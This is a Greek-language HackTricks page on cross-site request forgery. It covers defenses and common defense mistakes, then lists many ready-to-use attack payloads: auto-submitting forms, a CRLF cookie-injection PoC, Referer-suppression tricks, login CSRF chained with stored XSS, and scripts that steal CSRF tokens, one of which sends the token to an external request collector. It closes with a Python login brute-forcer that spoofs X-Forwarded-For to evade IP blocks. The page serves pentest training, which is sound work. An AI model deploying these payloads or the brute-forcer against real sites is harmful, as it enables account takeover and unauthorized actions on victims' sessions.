CSRF (Cross Site Request Forgery)

Reading time: 23 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Cross-Site Request Forgery (CSRF) — Εξήγηση

Cross-Site Request Forgery (CSRF) είναι ένας τύπος ευπάθειας ασφαλείας που εντοπίζεται σε web εφαρμογές. Επιτρέπει σε επιτιθέμενους να εκτελούν ενέργειες εκ μέρους αφελών χρηστών αξιοποιώντας τις πιστοποιημένες συνεδρίες τους. Η επίθεση εκτελείται όταν ένας χρήστης, ο οποίος είναι συνδεδεμένος στην πλατφόρμα του θύματος, επισκέπτεται μια κακόβουλη σελίδα. Αυτή η σελίδα στη συνέχεια προκαλεί αιτήματα προς τον λογαριασμό του θύματος μέσω μεθόδων όπως η εκτέλεση JavaScript, η υποβολή φορμών ή το φόρτωμα εικόνων.

Προαπαιτούμενα για μια επίθεση CSRF

Για να εκμεταλλευτεί κανείς μια ευπάθεια CSRF πρέπει να πληρούνται αρκετές προϋποθέσεις:

  1. Identify a Valuable Action: Ο επιτιθέμενος πρέπει να εντοπίσει μια ενέργεια που αξίζει εκμετάλλευσης, όπως αλλαγή κωδικού, email ή ανύψωση προνομίων.
  2. Session Management: Η συνεδρία του χρήστη πρέπει να διαχειρίζεται αποκλειστικά μέσω cookies ή της κεφαλίδας HTTP Basic Authentication, καθώς άλλες κεφαλίδες δεν μπορούν να χειραγωγηθούν για αυτόν τον σκοπό.
  3. Absence of Unpredictable Parameters: Το αίτημα δεν θα πρέπει να περιέχει απρόβλεπτους παράγοντες, καθώς αυτοί μπορούν να αποτρέψουν την επίθεση.

Γρήγορος Έλεγχος

Μπορείτε να captured the request in Burp και να ελέγξετε τα προστατευτικά CSRF και για δοκιμή από το πρόγραμμα περιήγησης μπορείτε να κάνετε κλικ στο Copy as fetch και να ελέγξετε το αίτημα:

Άμυνα κατά του CSRF

Μπορούν να εφαρμοστούν διάφορα αντίμετρα για προστασία από επιθέσεις CSRF:

  • SameSite cookies: Αυτό το attribute αποτρέπει το πρόγραμμα περιήγησης από το να στέλνει cookies μαζί με cross-site αιτήματα. More about SameSite cookies.
  • Cross-origin resource sharing: Η πολιτική CORS του ιστότοπου θύματος μπορεί να επηρεάσει την πρακτικότητα της επίθεσης, ειδικά αν η επίθεση απαιτεί ανάγνωση της απάντησης από τον ιστότοπο θύματος. Learn about CORS bypass.
  • User Verification: Το να ζητηθεί ο κωδικός του χρήστη ή η επίλυση ενός captcha μπορεί να επιβεβαιώσει την πρόθεση του χρήστη.
  • Checking Referrer or Origin Headers: Η επικύρωση αυτών των κεφαλίδων μπορεί να βοηθήσει να διασφαλιστεί ότι τα αιτήματα προέρχονται από αξιόπιστες πηγές. Ωστόσο, προσεκτικά κατασκευασμένα URLs μπορούν να παρακάμψουν κακώς υλοποιημένους ελέγχους, όπως:
    • Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)
    • Using http://example.com.mal.net (URL starts with the trusted URL)
  • Modifying Parameter Names: Η αλλαγή των ονομάτων παραμέτρων σε POST ή GET αιτήματα μπορεί να βοηθήσει στην αποτροπή αυτοματοποιημένων επιθέσεων.
  • CSRF Tokens: Η ενσωμάτωση ενός μοναδικού CSRF token σε κάθε συνεδρία και η απαίτηση αυτού του token στα επόμενα αιτήματα μπορεί να μειώσει σημαντικά τον κίνδυνο CSRF. Η αποτελεσματικότητα του token μπορεί να ενισχυθεί με την επιβολή CORS.

Η κατανόηση και η υλοποίηση αυτών των αμυνών είναι κρίσιμη για τη διατήρηση της ασφάλειας και της ακεραιότητας των web εφαρμογών.

Συνηθισμένα λάθη στις άμυνες

  • SameSite pitfalls: SameSite=Lax εξακολουθεί να επιτρέπει κορυφαίου επιπέδου cross-site πλοηγήσεις όπως links και form GETs, οπότε πολλές CSRF επιθέσεις βασισμένες σε GET παραμένουν δυνατές. Δείτε τον πίνακα cookies στο Hacking with Cookies > SameSite.
  • Header checks: Επικυρώνετε το Origin όταν υπάρχει· αν και τα δύο Origin και Referer απουσιάζουν, απορρίψτε το αίτημα. Μην βασίζεστε σε substring/regex αντιστοιχίσεις του Referer που μπορούν να παρακαμφθούν με lookalike domains ή κατασκευασμένα URLs, και λάβετε υπόψη το κόλπο καταστολής meta name="referrer" content="never".
  • Method overrides: Θεωρήστε τις υπερχρεωμένες μεθόδους (_method ή override headers) ως αλλαγές κατάστασης και επιβάλετε CSRF στον τελικό (effective) method, όχι μόνο στο POST.
  • Login flows: Εφαρμόστε προστασίες CSRF και στη διαδικασία login· αλλιώς, το login CSRF επιτρέπει την εξαναγκασμένη επαλήθευση σε λογαριασμούς ελεγχόμενους από τον επιτιθέμενο, που μπορεί να συνδεθεί με stored XSS.

Παράκαμψη Αμυνών

Από POST σε GET (method-conditioned CSRF validation bypass)

Μερικές εφαρμογές επιβάλλουν την επαλήθευση CSRF μόνο στο POST ενώ την παραλείπουν για άλλα verbs. Ένα κοινό anti-pattern σε PHP μοιάζει με:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Αν το ευπαθές endpoint δέχεται επίσης παραμέτρους από $_REQUEST, μπορείτε να επανεκτελέσετε την ίδια ενέργεια ως GET request και να παραλείψετε εντελώς το CSRF token. Αυτό μετατρέπει μια ενέργεια αποκλειστικά για POST σε μια GET ενέργεια που εκτελείται με επιτυχία χωρίς token.

Example:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Σημειώσεις:

  • Αυτό το μοτίβο εμφανίζεται συχνά μαζί με reflected XSS, όπου οι αποκρίσεις σερβίρονται λανθασμένα ως text/html αντί για application/json.
  • Ο συνδυασμός αυτού με XSS μειώνει σημαντικά τα εμπόδια εκμετάλλευσης, επειδή μπορείτε να παραδώσετε ένα μόνο GET link που τόσο ενεργοποιεί την ευπαθή διαδρομή του κώδικα όσο και παρακάμπτει εντελώς τους ελέγχους CSRF.

Έλλειψη token

Applications might implement a mechanism to validate tokens when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by removing the parameter that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.

Moreover, some implementations only check that the parameter exists but don’t validate its content, so an empty token value is accepted. In that case, simply submitting the request with csrf= is enough:

http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

Ελάχιστο PoC αυτόματης υποβολής (απόκρυψη πλοήγησης με history.pushState):

html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRF token δεν δεσμεύεται στη συνεδρία χρήστη

Εφαρμογές που δεν δεσμεύουν τα CSRF tokens σε συνεδρίες χρηστών αποτελούν σημαντικό κίνδυνο ασφαλείας. Αυτά τα συστήματα επαληθεύουν τα tokens απέναντι σε μια global pool αντί να διασφαλίζουν ότι κάθε token είναι συνδεδεμένο με την αρχική συνεδρία.

Έτσι το εκμεταλλεύονται οι επιτιθέμενοι:

  1. Κάνουν έλεγχο ταυτότητας χρησιμοποιώντας τον δικό τους λογαριασμό.
  2. Αποκτούν ένα έγκυρο CSRF token από την global pool.
  3. Χρησιμοποιούν αυτό το token σε επίθεση CSRF εναντίον ενός θύματος.

Αυτή η ευπάθεια επιτρέπει σε επιτιθέμενους να κάνουν μη εξουσιοδοτημένα αιτήματα εκ μέρους του θύματος, εκμεταλλευόμενοι τον ανεπαρκή μηχανισμό επαλήθευσης tokens της εφαρμογής.

Παράκαμψη μεθόδου

Αν το αίτημα χρησιμοποιεί μια "περίεργη" μέθοδο, έλεγξε αν λειτουργεί η λειτουργία method override. Για παράδειγμα, αν χρησιμοποιεί μέθοδο PUT/DELETE/PATCH μπορείς να δοκιμάσεις να χρησιμοποιήσεις POST και να στείλεις override, π.χ. https://example.com/my/dear/api/val/num?_method=PUT.

Αυτό μπορεί επίσης να λειτουργήσει στέλνοντας την παράμετρο _method inside a POST body ή χρησιμοποιώντας override headers:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Συνηθίζεται σε frameworks όπως Laravel, Symfony, Express και άλλα. Οι προγραμματιστές μερικές φορές παραλείπουν τον CSRF στους μη-POST verbs υποθέτοντας ότι οι browsers δεν μπορούν να τους στείλουν· με overrides, μπορείς ακόμα να φτάσεις αυτούς τους handlers μέσω POST.

Παράδειγμα request και HTML PoC:

http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

Custom header token bypass

Εάν το αίτημα προσθέτει ένα custom header με ένα token στο αίτημα ως CSRF protection method, τότε:

  • Δοκίμασε το αίτημα χωρίς το Customized Token and also header.
  • Δοκίμασε το αίτημα με exact same length but different token

Οι εφαρμογές μπορεί να υλοποιούν CSRF προστασία αντιγράφοντας το token τόσο σε ένα cookie όσο και σε ένα request parameter ή ορίζοντας ένα CSRF cookie και επαληθεύοντας αν το token που στέλνεται στο backend αντιστοιχεί στο cookie. Η εφαρμογή επικυρώνει τα αιτήματα ελέγχοντας αν το token στο request parameter ευθυγραμμίζεται με την τιμή στο cookie.

Ωστόσο, αυτή η μέθοδος είναι ευάλωτη σε CSRF attacks εάν ο ιστότοπος έχει ευπάθειες που επιτρέπουν σε έναν attacker να ορίσει ένα CSRF cookie στο victim's browser, όπως μια CRLF ευπάθεια. Ο attacker μπορεί να το εκμεταλλευτεί φορτώνοντας μια παραπλανητική εικόνα που ορίζει το cookie και στη συνέχεια ξεκινώντας την CSRF επίθεση.

Παρακάτω είναι ένα παράδειγμα του πώς θα μπορούσε να δομηθεί μια επίθεση:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Σημειώστε ότι αν το csrf token is related with the session cookie this attack won't work επειδή θα χρειαστεί να ορίσετε στο θύμα το session σας, και επομένως θα επιτεθείτε στον ίδιο σας τον εαυτό.

Αλλαγή Content-Type

Σύμφωνα με this, για να avoid preflight requests που χρησιμοποιούν τη μέθοδο POST αυτές είναι οι επιτρεπτές τιμές Content-Type:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Ωστόσο, σημειώστε ότι η severs logic may vary ανάλογα με το χρησιμοποιούμενο Content-Type, οπότε θα πρέπει να δοκιμάσετε τις αναφερόμενες τιμές και άλλες όπως application/json,text/xml, application/xml.

Example (from here) of sending JSON data as text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Bypassing Preflight Requests for JSON Data

Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST αιτήματος, η χρήση του Content-Type: application/json σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Παρομοίως, η χρήση του XMLHttpRequest για την αποστολή αυτού του content type ενεργοποιεί ένα preflight αίτημα. Παρ' όλα αυτά, υπάρχουν στρατηγικές που ενδεχομένως να παρακάμψουν αυτόν τον περιορισμό και να ελέγξουν αν ο server επεξεργάζεται τα δεδομένα JSON ανεξάρτητα από το Content-Type:

  1. Use Alternative Content Types: Χρησιμοποιήστε Content-Type: text/plain ή Content-Type: application/x-www-form-urlencoded ρυθμίζοντας enctype="text/plain" στη φόρμα. Αυτή η προσέγγιση δοκιμάζει αν το backend χρησιμοποιεί τα δεδομένα ανεξαρτήτως του Content-Type.
  2. Modify Content Type: Για να αποφευχθεί ένα preflight αίτημα ενώ διατηρείται η πιθανότητα ότι ο server θα αναγνωρίσει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με Content-Type: text/plain; application/json. Αυτό δεν προκαλεί preflight αίτημα αλλά μπορεί να επεξεργαστεί σωστά από τον server εάν είναι ρυθμισμένος να δέχεται application/json.
  3. SWF Flash File Utilization: Μια λιγότερο κοινή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση αρχείου SWF/Flash για την παράκαμψη τέτοιων περιορισμών. Για εις βάθος κατανόηση αυτής της τεχνικής, ανατρέξτε σε this post.

Referrer / Origin check bypass

Avoid Referrer header

Οι εφαρμογές ενδέχεται να ελέγχουν την κεφαλίδα 'Referer' μόνο όταν αυτή υπάρχει. Για να εμποδίσετε έναν browser από το να στέλνει αυτήν την κεφαλίδα, μπορεί να χρησιμοποιηθεί η ακόλουθη HTML meta tag:

xml
<meta name="referrer" content="never">

Αυτό εξασφαλίζει ότι η κεφαλίδα 'Referer' παραλείπεται, ενδεχομένως παρακάμπτοντας ελέγχους επικύρωσης σε κάποιες εφαρμογές.

Regexp bypasses

URL Format Bypass

Για να ορίσετε το όνομα τομέα του διακομιστή στο URL που θα στείλει ο Referrer μέσα στις παραμέτρους, μπορείτε να κάνετε:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

Το πρώτο μέρος του this CTF writeup εξηγεί ότι στον Oak's source code, ένας router έχει ρυθμιστεί να handle HEAD requests as GET requests χωρίς response body — ένα κοινό workaround που δεν είναι μοναδικό στον Oak. Αντί για έναν συγκεκριμένο handler που ασχολείται με τα HEAD reqs, αυτά απλώς παραδίδονται στον GET handler αλλά η εφαρμογή απλώς αφαιρεί το response body.

Επομένως, αν ένα GET request περιορίζεται, μπορείτε απλώς να στείλετε ένα HEAD request που θα επεξεργαστεί ως GET request.

Exploit Examples

Stored CSRF via user-generated HTML

Όταν επιτρέπονται rich-text editors ή HTML injection, μπορείτε να διατηρήσετε ένα passive fetch που καλεί ένα ευάλωτο GET endpoint. Οποιοσδήποτε χρήστης που θα δει το περιεχόμενο θα εκτελεί αυτόματα το request με τα cookies του.

  • Εάν η εφαρμογή χρησιμοποιεί ένα global CSRF token που δεν είναι δεσμευμένο στο user session, το ίδιο token μπορεί να λειτουργεί για όλους τους χρήστες, κάνοντας το stored CSRF αξιόπιστο απέναντι σε πολλούς στόχους.

Ελάχιστο παράδειγμα που αλλάζει το email του θεατή όταν φορτωθεί:

html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF σε συνδυασμό με stored XSS

Το Login CSRF μόνο του μπορεί να έχει μικρό αντίκτυπο, αλλά όταν συνδυαστεί με ένα authenticated stored XSS γίνεται ισχυρό: αναγκάστε το θύμα να authenticate σε έναν attacker-controlled account· μόλις βρεθεί σε αυτό το περιβάλλον, ένα stored XSS σε μια authenticated page εκτελείται και μπορεί να κλέψει tokens, να hijack τη session ή να escalate privileges.

  • Βεβαιωθείτε ότι το login endpoint είναι CSRF-able (δεν υπάρχει per-session token ή origin check) και ότι δεν υπάρχουν user interaction gates που το μπλοκάρουν.
  • Μετά το forced login, κάντε auto-navigate σε μια σελίδα που περιέχει το attacker’s stored XSS payload.

Ελάχιστο login-CSRF PoC:

html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

Εξαγωγή CSRF Token

Αν ένα CSRF token χρησιμοποιείται ως άμυνα, μπορείτε να προσπαθήσετε να το εξαγάγετε εκμεταλλευόμενοι μια ευπάθεια XSS ή μια ευπάθεια Dangling Markup.

GET χρησιμοποιώντας HTML tags

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Άλλα HTML5 tags που μπορούν να χρησιμοποιηθούν για να στείλουν αυτόματα ένα GET request είναι:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Φόρμα GET αίτημα

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Αίτημα Form POST

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Αίτημα POST φόρμας μέσω iframe

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST αίτημα

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST αίτημα

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST request v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Αίτημα POST φόρμας από μέσα σε iframe

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Κλέψε το CSRF Token και στείλε ένα POST request

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Κλέψτε το CSRF Token και στείλτε ένα Post request χρησιμοποιώντας iframe, form και Ajax

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Κλέψτε CSRF Token και στείλτε ένα POST request χρησιμοποιώντας ένα iframe και μια form

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Κλέψε το token και στείλε το χρησιμοποιώντας 2 iframes

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token με Ajax και αποστολή ενός post με ένα form

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF με Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Ο κώδικας μπορεί να χρησιμοποιηθεί για να Brut Force μια φόρμα σύνδεσης χρησιμοποιώντας ένα CSRF token (χρησιμοποιεί επίσης την κεφαλίδα X-Forwarded-For για να προσπαθήσει να παρακάμψει πιθανό IP blacklisting):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Εργαλεία

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks